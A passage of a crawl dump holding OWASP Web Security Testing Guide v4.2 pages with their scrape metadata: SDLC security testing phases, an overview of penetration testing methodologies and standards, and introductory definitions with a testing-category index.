Create and Review Threat Models\n\nArmed with design and architecture reviews and the UML models explaining exactly how the system works, undertake a threat modeling exercise. Develop realistic threat scenarios. Analyze the design and architecture to ensure that these threats have been mitigated, accepted by the business, or assigned to a third party, such as an insurance firm. When identified threats have no mitigation strategies, revisit the design and architecture with the systems architect to modify the design.\n\n## Phase 3 During Development\n\nTheoretically, development is the implementation of a design. However, in the real world, many design decisions are made during code development. These are often smaller decisions that were either too detailed to be described in the design, or issues where no policy or standard guidance was offered. If the design and architecture were not adequate, the developer will be faced with many decisions. If there were insufficient policies and standards, the developer will be faced with even more decisions.\n\n### Phase 3.1 Code Walkthrough\n\nThe security team should perform a code walkthrough with the developers, and in some cases, the system architects. A code walkthrough is a high-level look at the code during which the developers can explain the logic and flow of the implemented code. It allows the code review team to obtain a general understanding of the code, and allows the developers to explain why certain things were developed the way they were.\n\nThe purpose is not to perform a code review, but to understand at a high level the flow, the layout, and the structure of the code that makes up the application.\n\n### Phase 3.2 Code Reviews\n\nArmed with a good understanding of how the code is structured and why certain things were coded the way they were, the tester can now examine the actual code for security defects.\n\nStatic code reviews validate the code against a set of checklists, including:\n\n- Business requirements for availability, confidentiality, and integrity;\n- OWASP Guide or Top 10 Checklists for technical exposures (depending on the depth of the review);\n- Specific issues relating to the language or framework in use, such as the Scarlet paper for PHP or [Microsoft Secure Coding checklists for ASP.NET](https://msdn.microsoft.com/en-us/library/ff648269.aspx) ; and\n- Any industry-specific requirements, such as Sarbanes-Oxley 404, COPPA, ISO/IEC 27002, APRA, HIPAA, Visa Merchant guidelines, or other regulatory regimes.\n\nIn terms of return on resources invested (mostly time), static code reviews produce far higher quality returns than any other security review method and rely least on the skill of the reviewer. However, they are not a silver bullet and need to be considered carefully within a full-spectrum testing regime.\n\nFor more details on OWASP checklists, please refer to the latest edition of the [OWASP Top 10](https://owasp.org/www-project-top-ten/).\n\n## Phase 4 During Deployment\n\n### Phase 4.1 Application Penetration Testing\n\nHaving tested the requirements, analyzed the design, and performed code review, it might be assumed that all issues have been caught. Hopefully this is the case, but penetration testing the application after it has been deployed provides an additional check to ensure that nothing has been missed.\n\n### Phase 4.2 Configuration Management Testing\n\nThe application penetration test should include an examination of how the infrastructure was deployed and secured. It is important to review configuration aspects, no matter how small, to ensure that none are left at a default setting that may be vulnerable to exploitation.\n\n## Phase 5 During Maintenance and Operations\n\n### Phase 5.1 Conduct Operational Management Reviews\n\nThere needs to be a process in place which details how the operational side of both the application and infrastructure is managed.\n\n### Phase 5.2 Conduct Periodic Health Checks\n\nMonthly or quarterly health checks should be performed on both the application and infrastructure to ensure no new security risks have been introduced and that the level of security is still intact.\n\n### Phase 5.3 Ensure Change Verification\n\nAfter every change has been approved and tested in the QA environment and deployed into the production environment, it is vital that the change is checked to ensure that the level of security has not been affected by the change. This should be integrated into the change management process.\n\n## A Typical SDLC Testing Workflow\n\nThe following figure shows a typical SDLC Testing Workflow.\n\n*Figure 3-1: Typical SDLC testing workflow*\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11491, "slov": 1750, "odkazu": 180, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:44", "sha256": "2468854360197eed43306dfd3cd5d2864df97a90f1b546b235b6853c0cedc4de", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://www.justice.gov/criminal-ccips", "https://msdn.microsoft.com/en-us/library/ff648269.aspx", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/3-The_OWASP_Testing_Framework/1-Penetration_Testing_Methodologies", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "3-The OWASP Testing Framework"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Penetration Testing Methodologies"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "OWASP Testing Guides"}, {"uroven": 2, "text": "Penetration Testing Execution Standard"}, {"uroven": 2, "text": "PCI Penetration Testing Guide"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Guidance"}, {"uroven": 3, "text": "PCI DSS Penetration Testing Requirements"}, {"uroven": 2, "text": "Penetration Testing Framework"}, {"uroven": 2, "text": "Technical Guide to Information Security Testing and Assessment"}, {"uroven": 2, "text": "Open Source Security Testing Methodology Manual"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - v4.2\n\n# Penetration Testing Methodologies\n\n## Summary\n\n- OWASP Testing Guides\n - Web Security Testing Guide (WSTG)\n - Mobile Security Testing Guide (MSTG)\n - Firmware Security Testing Methodology\n- Penetration Testing Execution Standard\n- PCI Penetration Testing Guide\n - PCI DSS Penetration Testing Guidance\n - PCI DSS Penetration Testing Requirements\n- Penetration Testing Framework\n- Technical Guide to Information Security Testing and Assessment\n- Open Source Security Testing Methodology Manual\n- References\n\n## OWASP Testing Guides\n\nIn terms of technical security testing execution, the OWASP testing guides are highly recommended. Depending on the types of the applications, the testing guides are listed below for the web/cloud services, Mobile app (Android/iOS), or IoT firmware respectively.\n\n- [OWASP Web Security Testing Guide](https://owasp.org/www-project-web-security-testing-guide/)\n- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [OWASP Firmware Security Testing Methodology](https://github.com/scriptingxss/owasp-fstm)\n\n## Penetration Testing Execution Standard\n\nPenetration Testing Execution Standard (PTES) defines penetration testing as 7 phases. Particularly, PTES Technical Guidelines give hands-on suggestions on testing procedures, and recommendation for security testing tools.\n\n- Pre-engagement Interactions\n- Intelligence Gathering\n- Threat Modeling\n- Vulnerability Analysis\n- Exploitation\n- Post Exploitation\n- Reporting\n\n[PTES Technical Guidelines](http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines)\n\n## PCI Penetration Testing Guide\n\nPayment Card Industry Data Security Standard (PCI DSS) Requirement 11.3 defines the penetration testing. PCI also defines Penetration Testing Guidance.\n\n### PCI DSS Penetration Testing Guidance\n\nThe PCI DSS Penetration testing guideline provides guidance on the following:\n\n- Penetration Testing Components\n- Qualifications of a Penetration Tester\n- Penetration Testing Methodologies\n- Penetration Testing Reporting Guidelines\n\n### PCI DSS Penetration Testing Requirements\n\nThe PCI DSS requirement refer to Payment Card Industry Data Security Standard (PCI DSS) Requirement 11.3\n\n- Based on industry-accepted approaches\n- Coverage for CDE and critical systems\n- Includes external and internal testing\n- Test to validate scope reduction\n- Application-layer testing\n- Network-layer tests for network and OS\n\n[PCI DSS Penetration Test Guidance](https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf)\n\n## Penetration Testing Framework\n\nThe Penetration Testing Framework (PTF) provides comprehensive hands-on penetration testing guide. It also lists usages of the security testing tools in each testing category. The major area of penetration testing includes:\n\n- Network Footprinting (Reconnaissance)\n- Discovery & Probing\n- Enumeration\n- Password cracking\n- Vulnerability Assessment\n- AS/400 Auditing\n- Bluetooth Specific Testing\n- Cisco Specific Testing\n- Citrix Specific Testing\n- Network Backbone\n- Server Specific Tests\n- VoIP Security\n- Wireless Penetration\n- Physical Security\n- Final Report - template\n\n[Penetration Testing Framework](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n\n## Technical Guide to Information Security Testing and Assessment\n\nTechnical Guide to Information Security Testing and Assessment (NIST 800-115) was published by NIST, it includes some assessment techniques listed below.\n\n- Review Techniques\n- Target Identification and Analysis Techniques\n- Target Vulnerability Validation Techniques\n- Security Assessment Planning\n- Security Assessment Execution\n- Post-Testing Activities\n\nThe NIST 800-115 can be accessed [here](https://csrc.nist.gov/publications/detail/sp/800-115/final)\n\n## Open Source Security Testing Methodology Manual\n\nThe Open Source Security Testing Methodology Manual (OSSTMM) is a methodology to test the operational security of physical locations, workflow, human security testing, physical security testing, wireless security testing, telecommunication security testing, data networks security testing and compliance. OSSTMM can be supporting reference of ISO 27001 instead of a hands-on or technical application penetration testing guide.\n\nOSSTMM includes the following key sections:\n\n- Security Analysis\n- Operational Security Metrics\n- Trust Analysis\n- Work Flow\n- Human Security Testing\n- Physical Security Testing\n- Wireless Security Testing\n- Telecommunications Security Testing\n- Data Networks Security Testing\n- Compliance Regulations\n- Reporting with the STAR (Security Test Audit Report)\n\n[Open Source Security Testing Methodology Manual](https://www.isecom.org/OSSTMM.3.pdf)\n\n## References\n\n- [PCI Data Security Standard - Penetration TestingGuidance](https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf)\n- [PTES Standard](http://www.pentest-standard.org/index.php/Main_Page)\n- [Open Source Security Testing Methodology Manual (OSSTMM)](http://www.isecom.org/research/osstmm.html)\n- [Technical Guide to Information Security Testing and Assessment NIST SP 800-115](https://csrc.nist.gov/publications/detail/sp/800-115/final)\n- [HIPAA Security Testing Assessment 2012](http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf)\n- [Penetration Testing Framework 0.59](http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html)\n- [OWASP Mobile Security Testing Guide](https://owasp.org/www-project-mobile-security-testing-guide/)\n- [Security Testing Guidelines for Mobile Apps](https://owasp.org/www-pdf-archive/Security_Testing_Guidelines_for_mobile_Apps_-_Florian_Stahl%2BJohannes_Stroeher.pdf)\n- [Kali Linux](https://www.kali.org/)\n- [Information Supplement: Requirement 11.3 Penetration Testing](https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5884, "slov": 605, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:45", "sha256": "ebbd977224b495609da4a484b01421b33eb5b577403fe4bf921532f0526b3e3a", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/scriptingxss/owasp-fstm", "http://www.pentest-standard.org/index.php/PTES_Technical_Guidelines", "https://www.pcisecuritystandards.org/documents/Penetration_Testing_Guidance_March_2015.pdf", "http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html", "https://csrc.nist.gov/publications/detail/sp/800-115/final", "https://www.isecom.org/OSSTMM.3.pdf", "https://www.pcisecuritystandards.org/documents/Penetration-Testing-Guidance-v1_1.pdf", "http://www.pentest-standard.org/index.php/Main_Page", "http://www.isecom.org/research/osstmm.html", "http://csrc.nist.gov/news_events/hiipaa_june2012/day2/day2-6_kscarfone-rmetzer_security-testing-assessment.pdf", "https://www.kali.org/", "https://www.pcisecuritystandards.org/pdfs/infosupp_11_3_penetration_testing.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "Web Application Security Testing"}], "markdown": "# WSTG - v4.2\n\n# Web Application Security Testing\n\n4.0 [Introduction and Objectives](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README)\n\n4.1 [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README)\n\n4.2 [Configuration and Deployment Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README)\n\n4.3 [Identity Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/03-Identity_Management_Testing/README)\n\n4.4 [Authentication Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/04-Authentication_Testing/README)\n\n4.5 [Authorization Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/README)\n\n4.6 [Session Management Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/06-Session_Management_Testing/README)\n\n4.7 [Input Validation Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/README)\n\n4.8 [Testing for Error Handling](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README)\n\n4.9 [Testing for Weak Cryptography](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/README)\n\n4.10 [Business Logic Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/10-Business_Logic_Testing/README)\n\n4.11 [Client-side Testing](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/11-Client-side_Testing/README)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 1935, "slov": 142, "odkazu": 177, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:35", "sha256": "cf8ea2c3ef9a91a2f3680ccad81186a39d6f7037cb2a5d357ae85c74dc8debfd", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "00-Introduction and Objectives"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.0 Introduction and Objectives"}, {"uroven": 2, "text": "What is Web Application Security Testing?"}, {"uroven": 2, "text": "What is a Vulnerability?"}, {"uroven": 2, "text": "What is a Threat?"}, {"uroven": 2, "text": "What is a Test?"}, {"uroven": 2, "text": "The Approach in Writing this Guide"}, {"uroven": 2, "text": "What Is the OWASP Testing Methodology?"}, {"uroven": 3, "text": "Passive Testing"}, {"uroven": 3, "text": "Active Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.0 Introduction and Objectives\n\nThis section describes the OWASP web application security testing methodology and explains how to test for evidence of vulnerabilities within the application due to deficiencies with identified security controls.\n\n## What is Web Application Security Testing?\n\nA security test is a method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls. A web application security test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.\n\n## What is a Vulnerability?\n\nA vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives.\n\n## What is a Threat?\n\nA threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.\n\n## What is a Test?\n\nA test is an action to demonstrate that an application meets the security requirements of its stakeholders.\n\n## The Approach in Writing this Guide\n\nThe OWASP approach is open and collaborative:\n\n- Open: every security expert can participate with their experience in the project. Everything is free.\n- Collaborative: brainstorming is performed before the articles are written so the team can share ideas and develop a collective vision of the project. That means rough consensus, a wider audience and increased participation.\n\nThis approach tends to create a defined Testing Methodology that will be:\n\n- Consistent\n- Reproducible\n- Rigorous\n- Under quality control\n\nThe problems to be addressed are fully documented and tested. It is important to use a method to test all known vulnerabilities and document all the security test activities.\n\n## What Is the OWASP Testing Methodology?\n\nSecurity testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, security testing is only an appropriate technique for testing the security of web applications under certain circumstances. The goal of this project is to collect all the possible testing techniques, explain these techniques, and keep the guide updated. The OWASP Web Application Security Testing method is based on the black box approach. The tester knows nothing or has very little information about the application to be tested.\n\nThe testing model consists of:\n\n- Tester: Who performs the testing activities\n- Tools and methodology: The core of this Testing Guide project\n- Application: The black box to test\n\nTesting can be categorized as passive or active:\n\n### Passive Testing\n\nDuring passive testing, a tester tries to understand the application’s logic and explores the application as a user. Tools can be used for information gathering. For example, an HTTP proxy can be used to observe all the HTTP requests and responses. At the end of this phase, the tester should generally understand all the access points and functionality of the system (e.g., HTTP headers, parameters, cookies, APIs, technology usage/patterns, etc). The [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README) section explains how to perform passive testing.\n\nFor example, a tester may find a page at the following URL: `https://www.example.com/login/auth_form`\n\nThis may indicate an authentication form where the application requests a username and password.\n\nThe following parameters represent two access points to the application: `https://www.example.com/appx?a=1&b=1`\n\nIn this case, the application shows two access points (parameters `a` and `b`). All the input points found in this phase represent a target for testing. Keeping track of the directory or call tree of the application and all the access points may be useful during active testing.\n\n### Active Testing\n\nDuring active testing, a tester begins to use the methodologies described in the follow sections.\n\nThe set of active tests have been split into 12 categories:\n\n- Information Gathering\n- Configuration and Deployment Management Testing\n- Identity Management Testing\n- Authentication Testing\n- Authorization Testing\n- Session Management Testing\n- Input Validation Testing\n- Error Handling\n- Cryptography\n- Business Logic Testing\n- Client-side Testing\n- API Testing\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4800, "slov": 701, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 13:44:52", "sha256": "d010de1d0738966ddaaec41b9714c6036b403884c07f16afeffc41f1a595a728", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/00-Introduction_and_Objectives/README", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "00-Introduction and Objectives"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.0 Introduction and Objectives"}, {"uroven": 2, "text": "What is Web Application Security Testing?"}, {"uroven": 2, "text": "What is a Vulnerability?"}, {"uroven": 2, "text": "What is a Threat?"}, {"uroven": 2, "text": "What is a Test?"}, {"uroven": 2, "text": "The Approach in Writing this Guide"}, {"uroven": 2, "text": "What Is the OWASP Testing Methodology?"}, {"uroven": 3, "text": "Passive Testing"}, {"uroven": 3, "text": "Active Testing"}], "markdown": "# WSTG - v4.2\n\n# 4.0 Introduction and Objectives\n\nThis section describes the OWASP web application security testing methodology and explains how to test for evidence of vulnerabilities within the application due to deficiencies with identified security controls.\n\n## What is Web Application Security Testing?\n\nA security test is a method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls. A web application security test focuses only on evaluating the security of a web application. The process involves an active analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any security issues that are found will be presented to the system owner, together with an assessment of the impact, a proposal for mitigation or a technical solution.\n\n## What is a Vulnerability?\n\nA vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives.\n\n## What is a Threat?\n\nA threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.\n\n## What is a Test?\n\nA test is an action to demonstrate that an application meets the security requirements of its stakeholders.\n\n## The Approach in Writing this Guide\n\nThe OWASP approach is open and collaborative:\n\n- Open: every security expert can participate with their experience in the project. Everything is free.\n- Collaborative: brainstorming is performed before the articles are written so the team can share ideas and develop a collective vision of the project. That means rough consensus, a wider audience and increased participation.\n\nThis approach tends to create a defined Testing Methodology that will be:\n\n- Consistent\n- Reproducible\n- Rigorous\n- Under quality control\n\nThe problems to be addressed are fully documented and tested. It is important to use a method to test all known vulnerabilities and document all the security test activities.\n\n## What Is the OWASP Testing Methodology?\n\nSecurity testing will never be an exact science where a complete list of all possible issues that should be tested can be defined. Indeed, security testing is only an appropriate technique for testing the security of web applications under certain circumstances. The goal of this project is to collect all the possible testing techniques, explain these techniques, and keep the guide updated. The OWASP Web Application Security Testing method is based on the black box approach. The tester knows nothing or has very little information about the application to be tested.\n\nThe testing model consists of:\n\n- Tester: Who performs the testing activities\n- Tools and methodology: The core of this Testing Guide project\n- Application: The black box to test\n\nTesting can be categorized as passive or active:\n\n### Passive Testing\n\nDuring passive testing, a tester tries to understand the application’s logic and explores the application as a user. Tools can be used for information gathering. For example, an HTTP proxy can be used to observe all the HTTP requests and responses. At the end of this phase, the tester should generally understand all the access points and functionality of the system (e.g., HTTP headers, parameters, cookies, APIs, technology usage/patterns, etc). The [Information Gathering](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/README) section explains how to perform passive testing.\n\nFor example, a tester may find a page at the following URL: `https://www.example.com/login/auth_form`\n\nThis may indicate an authentication form where the application requests a username and password.\n\nThe following parameters represent two access points to the application: `https://www.example.com/appx?a=1&b=1`\n\nIn this case, the application shows two access points (parameters `a` and `b`). All the input points found in this phase represent a target for testing. Keeping track of the directory or call tree of the application and all the access points may be useful during active testing.\n\n### Active Testing\n\nDuring active testing, a tester begins to use the methodologies described in the follow sections.\n\nThe set of active tests have been split into 12 categories:\n\n- Information Gathering\n- Configuration and Deployment Management Testing\n- Identity Management Testing\n- Authentication Testing\n- Authorization Testing\n- Session Management Testing\n- Input Validation Testing\n- Error Handling\n- Cryptography\n- Business Logic Testing\n- Client-side Testing\n- API Testing\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 4800, "slov": 701, "odkazu": 178, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 22:08:46", "sha256": "2c4904a748cdefc4da332914039d80b9c2a05a7d79598c00919cdb06da013d95", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/", "titulek": "WSTG - v4.2 | OWASP Foundation", "h1": "WSTG - v4.2", "popis": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - v4.2 on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - v4.2 | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "V42", "4-Web Application Security Testing", "01-Information Gathering"], "osnova": [{"uroven": 1, "text": "WSTG - v4.2"}, {"uroven": 1, "text": "4.1 Information Gathering"}], "markdown": "# WSTG - v4.2\n\n# 4.1 Information Gathering\n\n4.1.1 [Conduct Search Engine Discovery Reconnaissance for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/01-Conduct_Search_Engine_Discovery_Reconnaissance_for_Information_Leakage)\n\n4.1.2 [Fingerprint Web Server](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/02-Fingerprint_Web_Server)\n\n4.1.3 [Review Webserver Metafiles for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/03-Review_Webserver_Metafiles_for_Information_Leakage)\n\n4.1.4 [Enumerate Applications on Webserver](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/04-Enumerate_Applications_on_Webserver)\n\n4.1.5 [Review Webpage Content for Information Leakage](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/05-Review_Webpage_Content_for_Information_Leakage)\n\n4.1.6 [Identify Application Entry Points](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/06-Identify_Application_Entry_Points)\n\n4.1.7 [Map Execution Paths Through Application](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/07-Map_Execution_Paths_Through_Application)\n\n4.1.8 [Fingerprint Web Application Framework](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/08-Fingerprint_Web_Application_Framework)\n\n4.1.9 [Fingerprint Web Application](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/09-Fingerprint_Web_Application)\n\n4.1.10 [Map Application Architecture](/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/01-Information_Gathering/10-Map_Application_Architecture)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 2083, "slov": 143, "odkazu": 178, "kodovani": 